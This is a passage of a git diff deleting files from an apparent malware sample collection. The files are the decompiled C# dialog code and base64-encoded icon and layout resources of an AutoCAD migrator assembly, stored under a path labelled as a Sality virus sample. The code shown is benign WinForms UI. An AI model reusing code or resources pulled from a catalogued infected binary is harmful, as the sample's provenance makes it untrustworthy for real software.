AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAACMAAAAdQAAAAs= - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ExportBodyLabel - - - 1 - - - System.Windows.Forms.BindingSource, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - exportDialogBindingSource - - - True - - - cbIncNetFiles - - - System.Windows.Forms.CheckBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - ExportDialog - - - System.Windows.Forms.Form, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAJABAAC8AAAACw== - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - btnCancel - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEsAAAAXAAAACw== - - - Export... - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEsAAAAXAAAACw== - - - Help - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAJABAAC8AAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtU3RhcnRQb3NpdGlvbgEAAAAHdmFsdWVfXwAIAgAAAAEAAAAL - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5TaXplRgIAAAAFd2lkdGgGaGVpZ2h0AAALCwIAAAAAAMBAAABQQQs= - - - $this - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.cs deleted file mode 100644 index a0bda171..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.cs +++ /dev/null @@ -1,79 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.ImportDialog -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System.ComponentModel; -using System.Drawing; -using System.Windows.Forms; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class ImportDialog : Form - { - private IContainer components; - private Button btnOK; - private Label lblSuccess; - private Label lblLog; - private CheckBox chkBxViewLog; - - public ImportDialog() => this.InitializeComponent(); - - public string successMsg - { - get => this.lblSuccess.Text; - set => this.lblSuccess.Text = value; - } - - public string labelLogText - { - get => this.lblLog.Text; - set => this.lblLog.Text = value; - } - - public bool displayLog => this.chkBxViewLog.Checked; - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ImportDialog)); - this.btnOK = new Button(); - this.lblSuccess = new Label(); - this.lblLog = new Label(); - this.chkBxViewLog = new CheckBox(); - this.SuspendLayout(); - componentResourceManager.ApplyResources((object) this.btnOK, "btnOK"); - this.btnOK.DialogResult = DialogResult.OK; - this.btnOK.MinimumSize = new Size(75, 23); - this.btnOK.Name = "btnOK"; - this.btnOK.UseVisualStyleBackColor = true; - componentResourceManager.ApplyResources((object) this.lblSuccess, "lblSuccess"); - this.lblSuccess.Name = "lblSuccess"; - componentResourceManager.ApplyResources((object) this.lblLog, "lblLog"); - this.lblLog.MaximumSize = new Size(600, 0); - this.lblLog.Name = "lblLog"; - componentResourceManager.ApplyResources((object) this.chkBxViewLog, "chkBxViewLog"); - this.chkBxViewLog.Checked = true; - this.chkBxViewLog.CheckState = CheckState.Checked; - this.chkBxViewLog.Name = "chkBxViewLog"; - this.chkBxViewLog.UseVisualStyleBackColor = true; - this.AcceptButton = (IButtonControl) this.btnOK; - componentResourceManager.ApplyResources((object) this, "$this"); - this.AutoScaleMode = AutoScaleMode.Font; - this.Controls.Add((Control) this.chkBxViewLog); - this.Controls.Add((Control) this.lblLog); - this.Controls.Add((Control) this.lblSuccess); - this.Controls.Add((Control) this.btnOK); - this.Name = nameof (ImportDialog); - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.resx deleted file mode 100644 index c273ad4a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ImportDialog.resx +++ /dev/null @@ -1,253 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 0 - - - - 2 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAH5iAAACAAABAAkAMDAQAAEABABoBgAAlgAAACAgEAABAAQA6AIAAP4GAAAQEBAAAQAEACgBAADmCQAAMDAAAAEACACoDgAADgsAACAgAAABAAgAqAgAALYZAAAQEAAAAQAIAGgFAABeIgAAMDAAAAEAIACoJQAAxicAACAgAAABACAAqBAAAG5NAAAQEAAAAQAgAGgEAAAWXgAAKAAAADAAAABgAAAAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8A/wCAAIAA/wAAAIAAAAD//wAAgIAAAAD/AAAAgAAAAP//AACAgAAAAP8AAACAAP///wDAwMAAgICAAAAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8zMz///////////mZ///////////////MzM///////////5mZn/////////////zMzP///////////5iZmf////////////zMz////////////5iJmZ////////////zMz/////////////mImZn///////////zMz////8////////+YiZmf//////////zMzP///M/////////5iJmZ//////////zMzM//zM//////////mImZn/////////zMzMzMzM//////////+YiZmf///////8zMzMzMzM///////////5iJmZ///////MzMzMzMzP////////////mImZn/////zM3MzMzMz/////////////+YiZmf///8zNzM///////////////////5iJmZ///MzczP////////////////////mImZnPzM3Mz/////////////////////+YiZz8zNzM///////////////////////5iM/MzczP////////////////////////nPzM3Mz/////////////////////////z8zNzM///////////////////////////MzczP//////////////////////////zM3Mz8/////////////////////////8zNzM/Jn////////////////////////MzczPyJmf//////////////////////zM3Mz/+YmZ/////////////////////8zNzM///5iZn////////////////////MzczP////mJmf//////////////zMzMzM3Mz/////+YmZ/////////////8zMzMzNzM///////5iZn///////3////MzMzMzMzP////////mJ///////9/////MzMzMzMz/////////+f/////////////Mz//MzMz////////////////////////M///8zMz////////////////////////P////zMz/////////////////////////////zMz///////////////3/////////////zMz//////////////9/////////////8zMz//////////////f/////////////MzM//////////////3/////////////zMzP//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAP///////wAA////////AAD///////8AAP///////wAA/////gf/AAD4///8A/8AAPB///gH/wAA4D//8A//AADgH//wH/8AAOAP//AffwAA8Af/8D4/AAD4A//wHD8AAPwB//AAPwAA/gD/8AA/AAD/AH/gAD8AAP+AP8AAPwAA/8AfgAB/AAD/4A8AAP8AAP/wBgAB/wAA//gAAP//AAD//AAB//8AAP/+AAP//wAA//8AB///AAD//4AP//8AAP//gB///wAA//8AH///AAD//gAP//8AAP/8AAf/3wAA//gAA/8PAAD/8AMB/gcAAPgAB4D8AwAA8AAPwHwBAADgAB/gPAEAAMAAP/AAAwAAwAB/+AAHAADAAP/8AA8AAMOA//4AfwAAx8D//wB/AADvwP//AH8AAP/A//8A/wAA/4D//gH/AAD/AfgAA/8AAP4D/wAH/wAA/wf/4D//AAD///////8AAP///////wAA////////AAAoAAAAIAAAAEAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP//////////////////////////////////////////////////////////////////////////////////////////////////zM////////mZ/////////Mz////////5iZ////////zP////////+ZiZ///////8z//8//////+ZiZ///////Mz/zP//////+ZiZ/////8zMzMz///////+ZiZ////zNzMzP////////+ZiZn//M3M////////////+ZiZz8zcz/////////////+ZjPzNzP//////////////+c/M3M////////////////z8zcz/////////////////zNzP/////////////////M3M/P///////////////8zcz8if//////////////zNzP/5if/////////////M3M///5if/////f///8zMzcz////5if///9////zMzMzP/////5j////////8z/zM/////////////////P//zP//////////3////////8z//////////f////////zM/////////9/////////Mz////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w/+P/4H/B/8D/wP/Bv8B/wx/gP8Af8B+AH/gPAB/8BgA//gAAf/8AB///gA///8Af///AP///gD/P/wAfh/4CD4PgBweBwA+DA4AfwAeAP+AfjD/wH9w/8D/4P/B/8HwA//j+Af////////////////8oAAAAEAAAACAAAAABAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/wD/AIAAgAD/AAAAgAAAAP//AACAgAAAAP8AAACAAAAA//8AAICAAAAA/wAAAIAA////AMDAwACAgIAAAAAAAP/////////////////////5n////M////mJ///8/////5if//z/z///+YnPzMzP////nPzc///////Pzc////////zc////////zc/P/////MzM//n////8/8//////////z////9////zP///9//////////////////////////8AAJ+PAAAPDwAABxMAAIMDAADAAwAA4AcAAPA/AADwfwAAgDkAAAEYAAADgQAAI8MAAMOHAADGDwAA//8AACgAAAAwAAAAYAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAgIAAoKCAAJWqgCGgn4Amp7CADoyLgDSysIA3t7mAFZOSgBqYl4A7urmAFpijgAiHhoA1tLSAEY6OgBmVlIAWmamADIuKgD29vYA3t7aAE5GQgCCiroA1tLKAObi4gBeWlIAfnJqAPLy7gBudpoAKiYiAEI6MgBKPjoAAv7+AGZeWgBuerIALi4yABIODgACgv4AysrKAFpWTgDe2tYA/v76AK6qqgDa0soA6urmAIJyagB2grYA7u7uAGJuqgDm4t4ATkJCAKauzgA6MjIAXmaOACoiIgD++voA4uLeAObm4gByeqIALiomAEpCOgBuXloANjY2AHqKugCqln4A0s7OAOLm7gBeUkoA7u7qACoiHgDe1tIA+vr2AN7e3gBiXlYAdnZ2APb28gBudp4AKiYmAEY+NgA2MjYAGhYWAL6+vgDa1s4Afoa6AGZyqgCyttIA5ubmAA4ODgDazsIA4uLqAFZSSgBWXooAWmKSACYiHgDa1tIAQj5CAGZaUgA2Mi4AUkpGAJaavgDS0s4AYlpWAPLy8gBCOjYAZmJaADIyMgASEg4AXlZSANra2gCyrqoAgnZuAHqGtgCqstIAPjYyAEpCPgAGBgYAlpKOAEI2KgDWzsYA2t7qAG5iXgDu6uoAJh4eAEY+OgBeaqoANi4qAPr29gDi3toAUkZCAIKOtgCampoAwsLaAHZ+tgB+dnIAenJuAKqu0gBaUk4AFhISAGJaUgBydpoALiYiAEo+PgBqXloAMi4yAF5WTgD+/v4A2tLOAOrq6gB6grYA8u7uAGZuqgBeZpIA6ubiAG5iWgDy7uoA+vr6AOLe3gBydp4ALiYmAN7WzgBmcq4A6ubmAF5ikgDa1tYAZlpWANbSzgD28vIARjo2AN7a2gCyrq4AhnZuAD42NgBOQj4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD09PT09AAAAAAAAAAAAAAAAAAAAAAA9PT0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD0CAgI9AAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMTEyg9AAAAAAAAAAAAAAAAAAAAPQICAgICPQAAAAAAAAAAAAAAAAAAAAAAAD0TExMTKD0AAAAAAAAAAAAAAAAAAAAAPQIkAgICAj0AAAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAAD0AAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAAAAAD0TExMTPQAAAAAAPRM9AAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAAAAAAD0TExMTEz0AAAA9ExM9AAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAAAAAAAAD0TExMTExM9PT0TExM9AAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAAAAAAAAAD0TExMTExMTExMTExM9AAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAAAAAAAAAPRMTExMTExMTExMTEygAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAAAAAAAAAA9ExMogRMTExMTExMTKD0AAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICPQAAAAAAAD0TEyiBExMoKCgoKCgoPQAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgICAj0AAAAAPRMTKIETEyg9PT09PT09AAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJAICAgI9AAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJCQCAgICJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9AiQkAgIlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPQIkJCU9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0CJT0TEyiBExMoPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlPRMTKIETEyg9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPSU9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9JQICPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ExMogRMTKD0lAgICAj0AAAAAAAAAAAAAAAAAPQAAAAAAAAAAAAAAAAAAAAAAAD0TEyiBExMoPQA9AiQCAgI9AAAAAAAAAAAAAD09PT0AAAAAAAAAAAAAAAAAAAAAPRMTKIETEyg9AAAAPQIkAgICPQAAAAAAAAAAPT09PT09AAAAAAAAAAA9PT09PT09ExMogRMTKD0AAAAAAD0CJAICAj0AAAAAAAA9PT09PT09PQAAAAAAAD0TExMTExMTEyiBExMoPQAAAAAAAAA9AiQCAgI9AAAAAAA9PT09PT09PT0AAAAAPRMTExMTExMTExMTEyg9AAAAAAAAAAAAPQIkAgICPQAAAAA9PT09PT0lPT0AAAA9ExMTExMTExMTExMTKD0AAAAAAAAAAAAAAD0CJAI9PT09PT09PT09PSU9PQAAAAA9ExMTKCgoExMTExMoPQAAAAAAAAAAAAAAAAA9Aj09PT09PT09PT09PT09AAAAAAA9ExMoPT09ExMTExMoPQAAAAAAAAAAAAAAAAAAPT09PT09PT09PT09PT0AAAAAAAA9Eyg9AAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD09PT09PT09PT0AAAAAAAAAAAA9KD0AAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PT09PT0AAAAAAAAAAAAAPQAAAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PT0lPT0AAAAAAAAAAAAAAAAAAAAAAD0TExMoPQAAAAAAAAAAAAAAAAAAAAA9PT09PSU9PQAAAAAAAAAAAAAAAAAAAAAAPRMTExMoPQAAAAAAAAAAAAAAAAAAAD09PT09JT09AAAAAAAAAAAAAAAAAAAAAAA9ExMTEyg9AAAAAAAAPT09PT09PT09PT09PT0lPT0AAAAAAAAAAAAAAAAAAAAAAD0oKCgoKD0AAAAAAAAAAAAAPT09PT09PT09PT09PQAAAAAAAAAAAAAAAAAAAAAAAAA9PT09PQAAAAAAAAAAAAAAAAAAPT09PT09PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD///////8AAP///////wAA////////AAD///////8AAP////4H/wAA+P///AP/AADwf//4B/8AAOA///AP/wAA4B//8B//AADgD//wH38AAPAH//A+PwAA+AP/8Bw/AAD8Af/wAD8AAP4A//AAPwAA/wB/4AA/AAD/gD/AAD8AAP/AH4AAfwAA/+APAAD/AAD/8AYAAf8AAP/4AAD//wAA//wAAf//AAD//gAD//8AAP//AAf//wAA//+AD///AAD//4Af//8AAP//AB///wAA//4AD///AAD//AAH/98AAP/4AAP/DwAA//ADAf4HAAD4AAeA/AMAAPAAD8B8AQAA4AAf4DwBAADAAD/wAAMAAMAAf/gABwAAwAD//AAPAADDgP/+AH8AAMfA//8AfwAA78D//wB/AAD/wP//AP8AAP+A//4B/wAA/wH4AAP/AAD+A/8AB/8AAP8H/+A//wAA////////AAD///////8AAP///////wAAKAAAACAAAABAAAAAAQAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAICAgACgoIAAlaqAIaCfgCansIAOjIuANLKwgDe3uYAVk5KAFZSXgBaYo4A7urmACIeGgDW0tIARjo6AGZWUgBaZqYAMi4qAPb29gDe3toAgoq6AObi4gBeWlIAfnJqAE5GQgDW0soAbnaaAPLy7gAqJiIAAv7+AEI6MgBKPjoAAoL+AFpWTgBmXloAbnqyAC4uMgCCcmoAEg4OAMrKygDe2tYA/v76AK6qqgDq6uYA2tLKAHaCtgDu7u4AYm6qAObi3gBOQkIAqpZ+AKauzgA6MjIA4ubuAF5SSgBeZo4AKiIiAP76+gDi4t4A5ubiAHJ6ogAuKiYASkI6AG5eWgA2NjYAeoq6ANLOzgDe3u4AVlJKAFZeigDu7uoAKiIeAN7W0gD6+vYA3t7eAGJeVgB2dnYAbnaeAPb28gAqJiYARj42ADYyNgCGenIAGhYWAL6+vgDa1s4Afoa6AGZyqgCyttIA5ubmAA4ODgCWko4A2s7CAOLi6gBqYl4AWmKSACYiHgDa1tIAQj5CAGZaUgA2Mi4Alpq+AGJaVgBSSkYA0tLOAPLy8gBCOjYAXlZSAGZiWgAyMjIAgnZuABISDgDa2toAsq6qAHqGtgCqstIAPjYyAEpCPgBaUk4ABgYGAEI2KgDWzsYA2t7qAO7q6gAmHh4ARj46AF5qqgA2LioA+vb2AAK+/gCuopoAwsLaAJqamgB2frYAfnZyAIKOtgB6cm4Aqq7SABYSEgDi3toAYlpSAFJGQgBydpoALiYiAEo+PgBeVk4Aal5aADIuMgD+/v4A6urqANrSzgB6grYA8u7uAGZuqgBeZpIA6ubiAG5iWgBaUkoA8u7qAPr6+gDi3t4AcnaeAC4mJgDe1s4AZnKuAOrm5gBuYl4AXmKSANrW1gBmWlYA1tLOAPby8gBGOjYAhnZuAN7a2gCyrq4APjY2AE5CPgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEAAAAAAAAAAAAAAAEBAQAAAAAAAAAAAAAAAAABAJycpQEAAAAAAAAAAAABAAgICQAAAAAAAAAAAAAAAQCcnKUBAAAAAAAAAAAAAAEACIAICQAAAAAAAAAAAAABAJydAQAAAQAAAAAAAAAAAQAICIAICQAAAAAAAAAAAAEAnJ0AAAEAnQAAAAAAAAAAAQAICIAICQAAAAAAAAAAAQCcnJ0BAJydAAAAAAAAAAAAAQAICIAICQAAAAAAAAEAnJycnJycnKUAAAAAAAAAAAAAAQAICIAICQAAAAABAJycnJykpKSlAQAAAAAAAAAAAAAAAQAICIAICAgAAQCcnTCcpQEBAQEAAAAAAAAAAAAAAAAAAQAICIAICJ0AnJ0wnKUBAQEBAAAAAAAAAAAAAAAAAAAAAQAICICdAJydMJylAQAAAAAAAAAAAAAAAAAAAAAAAAAAAQAInQCcnTCcpQEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ0AnJ0wnKUBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAJydMJylAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQCcnTCcpQCdAAAAAAAAAAABAQAAAAAAAAAAAAAAAAEAnJ0wnKUAnIAJAAAAAAAAAQEBAQAAAAAAAAAAAAABAJydMJylAAEACIAJAAAAAAABAQEBAQAAAAAAAQEBAQCcnTCcpQAAAAEACIAJAAAAAAEBAQCdAQAAAAEAnJycnJycnKUAAAAAAAEACIAJAAABAQEAnQEAAAABAJycnJycnJylAAAAAAAAAAEACIEBAQEBAQEBAAAAAAEAnKUBAJycpQAAAAAAAAAAAAEBAQEBAQEBAAAAAAAAAQClAAABAJylAAAAAAAAAAAAAAEBAQEBAJ0AAAAAAAAAAQAAAAEAnKUAAAAAAAAAAAAAAQEBAQCdAAAAAAAAAAAAAAABAJycpQAAAAAAAAAAAAABAQEAnQAAAAAAAAAAAAAAAQCkpKUAAAAAAAEBAQEBAQEBAQEAAAAAAAAAAAAAAAAAAQEBAAAAAAAAAAEBAQEBAQEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA///////////////////w/+P/4H/B/8D/wP/Bv8B/wx/gP8Af8B+AH/gPAB/8BgA//gAAf/8AB///gA///8Af///AP///gD/P/wAfh/4CD4PgBweBwA+DA4AfwAeAP+AfjD/wH9w/8D/4P/B/8HwA//j+Af////////////////8oAAAAEAAAACAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICAAKCggACVqoAqpZ+ADYuKgCansIA2s7CAN7e5gBSSkYA8vLyAFZSXgBaYo4ARjo6ACYeHgBaZqYA2tbSAOrm4gAuKiYAQjoyAF5WTgBudpoA3t7aAAL+/gD6+vYASj46AComIgDq6uoAAoL+AIKKugA2MjYA3t7uAFZSSgB2frYAdoK2ANLOzgBeZo4AYm6qAC4uMgBiWlYAcnqiAObi3gBOQkIAEg4OAMrKygD69vYAdnZ2ACYiHgDa2toA6urmAEY+NgBmWlIAbnaeAOLi3gD+/v4ASkI6AComJgDy7uoAsq6qAD42MgBaVk4Aeoq6ANrWzgBmcqoAmpqaAEI2KgDm5uYA9vb2AFpikgBCPkIA3trWAEI6NgBeWlIA3t7eAP7++gDi5u4AWlJOAH6GugDa0s4AMjIyACoiIgBKQj4ABgYGADoyLgCqrtIA5uLiAFZOSgD28vIAVl6KAEY+OgDa1tYA6ubmADIuKgBydpoA4t7aAPr6+gAuJiIA7u7uAAK+/gCCjrYANjY2AOLi6gBaUkoAeoa2ANbSzgBeZpIAZm6qADIuMgAWEhIAwsLaAIZ6cgAqIh4A7urmAHJ2ngAuJiYA8u7uAL6+vgA+NjYAZnKuAK6imgBeYpIARjo2AGJaUgBOQj4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA